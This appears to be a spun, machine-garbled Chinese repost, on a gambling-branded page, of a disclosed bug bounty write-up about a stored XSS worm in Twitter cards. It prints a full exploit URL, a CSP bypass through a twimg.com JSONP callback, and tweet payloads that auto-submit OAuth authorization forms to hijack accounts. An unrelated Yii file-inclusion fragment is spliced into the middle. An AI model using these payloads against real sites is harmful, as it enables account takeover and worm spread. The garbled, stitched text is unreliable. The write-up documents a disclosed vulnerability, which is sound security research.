BugBounty:Twitter 蠕虫XSS | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

BugBounty:Twitter 蠕虫XSS

申博_安全防护 申博 159次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-概述

在2018年中期,我在推特最不克不及够涌现XSS破绽的处所——tweet处(转发),找到了一个贮存型XSS破绽。这个贮存型XSS有些特别,它能够转化为一次完全成熟的XSS蠕虫进击。若是您对XSS蠕虫的观点尚不相识,你能够在维基百科上相识更多。

Exploit

为了轻易后续诠释此次奇异的XSS蠕虫,这里我先给出运用代码。在Twitter修复该破绽之前,转发下面这个URL将会建立一个XSS蠕虫,并在全部Twitterverse上从一个账户流传到另外一个账户。

https://twitter.com/messages/compose?recipient_id=988260476659404801&welcome_message_id=988274596427304964&text=%3C%3Cx%3E/script%3E%3C%3Cx%3Eiframe%20id%3D__twttr%20src%3D/intent/retweet%3Ftweet_id%3D1114986988128624640%3E%3C%3Cx%3E/iframe%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/alert%3Buser_id%3D12%3E%3C%3Cx%3E/script%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/frames%5B0%5D.retweet_btn_form.submit%3Buser_id%3D12%3E

“为何会如许?这只是一个链接罢了”,你能够觉得不解。然则同伙,这不是一个一般的链接,而是迎接音讯深层链接[1]。 推的深层链接是以Twitter卡的情势显现给用户:

BugBounty:Twitter 蠕虫XSS

上面这张Twitter卡是一个iframe元素,指向”https://twitter.com/i/cards/tfw/v1/1114991578353930240″ 。iframe很明显是遵照同源的政策,而不是沙盒(这意味着我们能够接见同源网页的DOM)。我们的Payload安排在参数”text”中,然后作为”default_composer_text”键的值影响内联JSON的对象:

<script type="text/twitter-cards-serialization">
  {
    "strings": { },
    "card": {
  "viewer_id" : "988260476659404801",
  "is_caps_enabled" : true,
  "forward" : "false",
  "is_logged_in" : true,
  "is_author" : true,
  "language" : "en",
  "card_name" : "2586390716:message_me",
  "welcome_message_id" : "988274596427304964",
  "token" : "[redacted]",

  "is_emojify_enabled" : true,
  "scribe_context" : "%7B%7D",
  "is_static_view" : false,
  "default_composer_text" : "</script><iframe id=__twttr src=/intent/retweet?tweet_id=1114986988128624640></iframe><script src=//syndication.twimg.com/timeline/profile?callback=__twttr/alert;user_id=12></script><script src=//syndication.twimg.com/timeline/profile?callback=__twttr/frames[0].retweet_btn_form.submit;user_id=12>\\u00A0",
  "recipient_id" : "988260476659404801",
  "card_uri" : "https://t.co/1vVzoyquhh",
  "render_card" : true,
  "tweet_id" : "1114991578353930240",
  "card_url" : "https://t.co/1vVzoyquhh"
},
    "twitter_cldr": false,
    "scribeData": {
      "card_name": "2586390716:message_me",
      "card_url": "https://t.co/1vVzoyquhh"



    }
  }
</script>

提醒:一旦HTML发明在肇端的<script>背面任何处所存在</script>,它都邑马上停止,不管</script>是在字符串,批评或许正则表达式中…

我们起首战胜许多限定和停滞:

  • 单引号和双引号将分别被转义为\’\”
  • HTML标签将被剥离(a</script>b将酿成ab
  • Payload被限定在300个字符内
  • 存在同源政策,将制止白名单外的内联剧本

乍一看,开发者好像做得完美无缺。然则,在我注重到剥离HTML标签的行动后,我的大脑最先高兴起来。这是因为这里异常轻易失足。和转义单个字符不一样,剥离标签须要HTML剖析(剖析老是很难准确实行,正则表达式?)。

以是我最先玩弄一个基本的Payload</script><svg onload=alert()>,经由不断地调解测试,改成:<</<x>/script/test000><</<x>svg onload=alert()></><script>1<\x>2,它会变成</script/test000><svg onload=alert()>。我的命运运限异常好,在绕过CSP政策之前,我马上向Twitter平安团队申报了我的发明。

如今,让我们来细致看看Twitter的CSP政策:

script-src 'nonce-ETj41imzIQ/aBrjFcbynCg==' https://twitter.com https://*.twimg.com https://ton.twitter.com 'self'; frame-ancestors https://ms2.twitter.com https://twitter.com http://localhost:8889 https://momentmaker-local.twitter.com https://localhost.twitter.com https://tdapi-staging.smf1.twitter.com https://ms5.twitter.com https://momentmaker.twitter.com https://tweetdeck.localhost.twitter.com https://ms3.twitter.com https://tweetdeck.twitter.com https://wfa.twitter.com https://mobile.twitter.com https://ms1.twitter.com 'self' https://ms4.twitter.com; font-src https://twitter.com https://*.twimg.com data: https://ton.twitter.com 'self'; media-src https://twitter.com https://*.twimg.com https://ton.twitter.com blob: 'self'; connect-src https://caps.twitter.com https://cards.twitter.com https://cards-staging.twitter.com https://upload.twitter.com blob: 'self'; style-src https://twitter.com https://*.twimg.com https://ton.twitter.com 'unsafe-inline' 'self'; object-src 'none'; default-src 'self'; frame-src https://twitter.com https://*.twimg.com https://* https://ton.twitter.com 'self'; img-src https://twitter.com https://*.twimg.com data: https://ton.twitter.com blob: 'self'; report-uri https://twitter.com/i/csp_report?a=NVQWGYLXMNQXEZDT&ro=false;

事实上Twitter没有在全部运用系统中布置一个全局的CSP政策。分歧的Twitter在运用中有分歧的CSP政策。上面是Twitter卡的CSP政策,如今我们只对个中的script-src指导感兴趣。

关于老猎人来讲,一眼就能够看出https://*.twimg.com的通配符异常松懈,极有能够成为破绽进口点。在子域”twimg.com”上找到一个JSONP端点其实不难题:

https://syndication.twimg.com/timeline/profile?callback=__twttr;user_id=12

难题的是怎样绕过回调考证。我发明回调存在一些限定,前缀必需是__twttr(否则将谢绝回调)。这意味着没法通报像alert如许的内置函数(你能够会想运用__twttralert,但它被视为”未界说的”)。然后我做了一些测试,看看哪些字符被过滤,哪些许可。然后我发明一个新鲜的事,回调参数中斜杠是许可的(i.e., “?callback=__twttr/alert”)。这会收到下面这个响应:

YII框架全版本文件包含漏洞挖掘和分析

框架介绍 Yii框架是一个通用的WEB编程框架, 其代码简洁优雅,具有性能高,易于扩展等优点,在国内国内均具有庞大的使用群体。 漏洞介绍 首先需要说明的时候,这个漏洞不具备黑盒测试通用性,只有开发者利用yii所编写的应用存在某种用法,才有可能导致触发,但是对代码安全审计人员是一个很好的漏洞挖掘点。 由于控制器(Controller)向模板(View)注入变量的时候,采取了extract($_params_, EXTR_OVERWRITE)的模式,导致后面包含模板文件操作的$_file_变量可以在某些条件下任意覆盖,从而导致任意本地文件包含漏洞,严重可以导致在某些低php版本下执行任意php命令和远程文件包含操作。 漏洞详情 问题出现在 framework/base/View.php: public function renderPhpFile($_file_, $_params_ = [])
{
$_obInitialLevel_ = ob_get_level();
ob_start();
ob_implicit_flush(false);
extract($_params_, EXTR_OVERWRITE); //overwrite 直接覆盖变量 l4yn3
try {
require $_file_; //直接require $_file_变量,造成文件包含 l4yn3
return ob_get_clean();
} catch (\Exception $e) {

/**/__twttr/alert({"headers":{"status":200,"maxPosition":"1113300837160222720","minPosition":"1098761257606307840","xPolling":30,"time":1554668056},"body":"[...]"});

以是如今我们只须要找出一种要领,在window对象上界说__twttr援用。我想了两个要领来完成这一点:

  1. 在白名单中找出一个界说了__twttr的剧本,将其包罗到Payload中。
  2. 将HTML元素的ID属性设置为__twttr(为windows对象[2]中的元素建立一个全局援用)

我挑选#2。只管Payload长度有限定,但我依然愿望Payload中的iframe元素能够有ID属性。

到目前为止,统统很顺遂。虽然我们在回调参数中不克不及注入恣意字符,在JavaScript 语法上遭到相当大的限定(注重:“?callback=__twttr/alert;user_id=12”中的分号不是回调参数的内容,它实际上是URL查询分隔符类似于”&”),但这不是题目,我们依然能够挪用一些想要的函数(参考[3]中的一些进击方式)。

总结一下完全Payload的作用:

  1. 建立一个带有ID__twttr的iframe元素,该元素经由过程Twitter Web Intens指向某个特定的推文(https://twitter.com/intent/retweet?tweet_id=1114986988128624640)
  2. 绕过CSP同源政策,挪用一个同步的函数(i.e.,alert)来推延下一个剧本块的实行,直至iframe完全加载(因为语法的限定,alert其实不会展现出来,我们不克不及简朴地运用setTimeout(func))。
  3. 再次绕过CSP政策,经由过程iframe提交转发推文的表单。

这里有两个简朴的流传XSS蠕虫的要领:

  1. 兵器化一系列推文,每条推文都包罗一个Payload,致使转发前一条推文。运用这个要领,若是你打仗了第一条推文,将致使转发一系列推文,终究每一个活泼的推特账户都将被沾染。
  2. 推行带有XSS有效载荷的推文,从而形成普遍的影响。

你能够夹杂两个流传机制来取得更好的流传结果。这里有异常多能够性。我们有些荣幸,当转发推文后再次接见”https://twitter.com/intent/retweet?tweet_id=1114986988128624640″ 时,Payload中的frames[0].retweet_btn_form.submit要领将变成响应的操纵,而不是转发。

因而,我们在初次加载完经由武装的推文后,它会被转发到你的个人主页中。当你再次接见这篇推文时,它将使你存眷进击者账户!

进一步运用

制造一个XSS蠕虫确实异常风趣,令人高兴,然则它真的有效?若是这对你来讲还不敷恐怖,这个XSS破绽还能够进击Twitter用户,经由过程Twitter的”oauth/认证”API[5]来盗用用户身份接见歹意第三方app,而且猎取完全的权限。

进击者能够经由过程在iframe中加载”https://twitter.com/oauth/authorize?oauth_token=[token]” ,然后自动提交页面中的认证表单[i.e.,ID为oauth_form的表单],从而完成这一点。

进击顺序在背景寂静举行,流程以下:

  1. 发送照顾下面这个Payload的推文并猎取ID:

    </script><iframe src=/oauth/authorize?oauth_token=cXDzjwAAAAAA4_EbAAABaizuCOk></iframe>
  2. 发送另外一条推文并猎取ID:

    </script><script id=__twttr src=//syndication.twimg.com/tweets.json?callback=__twttr/parent.frames[0].oauth_form.submit;ids=20></script>
  3. 发送第三条推文(整合上面两条推文):

    </script><iframe src=/i/cards/tfw/v1/1118608452136460288></iframe><iframe src=/i/cards/tfw/v1/1118609496560029696></iframe

如今若是受害者加载第三条推文后,进击者就能够运用他的身份接见第三方app。须要注重,”oauth_token”值有效期异常短,只能运用一次。然则这不是大题目,只需进击者发送足够多的推文,就能够猎取大批用户权限。

总之,我能够强制你在Twitter上加载恣意页面,点击按钮,提交表单等等。

你能够在Github/Twitter上找到我。

时间线

  • 2018年4月23日 – 提交原始bug申报。
  • 2018年4月25日 – 确认存在bug。
  • 2018年4月27日 – Twitter嘉奖2940美圆。
  • 2018年5月4日 – 最先修复。
  • 2019年4月7日 – 我供应了关于CSP绕过的一些信息。
  • 2019年4月12日 – 我将这篇文章的草稿发送给Twitter工程师请求发起。
  • 2019年4月12日 – 对方请求推延宣布,直到修复CSP绕过的题目。
  • 2019年4月22日 – CSP绕过已修复,我被许可宣布。
  • 2019年5月2日 – 宣布本文。

申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明BugBounty:Twitter 蠕虫XSS
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址